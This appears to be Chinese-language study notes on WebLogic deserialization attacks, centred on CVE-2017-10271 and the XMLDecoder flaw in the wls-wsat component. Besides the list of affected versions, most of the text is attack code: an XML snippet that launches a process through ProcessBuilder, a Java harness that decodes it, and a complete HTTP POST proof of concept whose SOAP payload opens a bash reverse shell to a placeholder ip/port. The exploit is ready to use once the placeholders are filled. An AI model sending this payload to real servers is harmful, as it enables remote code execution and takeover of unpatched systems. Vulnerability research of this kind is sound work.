weblogic反序列化

大概就两种,一种是通过T3协议来发送反序列化恶意对象,还有一种就是XMLDecoder反序列化

XMLDecoder反序列化

CVE-2017-10271

影响版本:

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0

该漏洞主要针对weblogic的WLS-WebServices组件
属于上述反序列化漏洞利用的第三类
大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行

学前知识:

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"></void>
    </object>
</java>

import java.io.FileInputStream;
import java.beans.XMLDecoder;

public class xmlDecoder {
    public static void main(String[] args) throws Exception {
        try(FileInputStream fileInputStream = new FileInputStream("1.xml")){
            XMLDecoder xmlDecoder = new XMLDecoder(fileInputStream);
            Object o = xmlDecoder.readObject();
            System.out.println(o);
        }
    }
}

关于XMLDecoder触发反序列化导致命令执行的调试过程就不分析了

poc

注意其中的实体转义

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>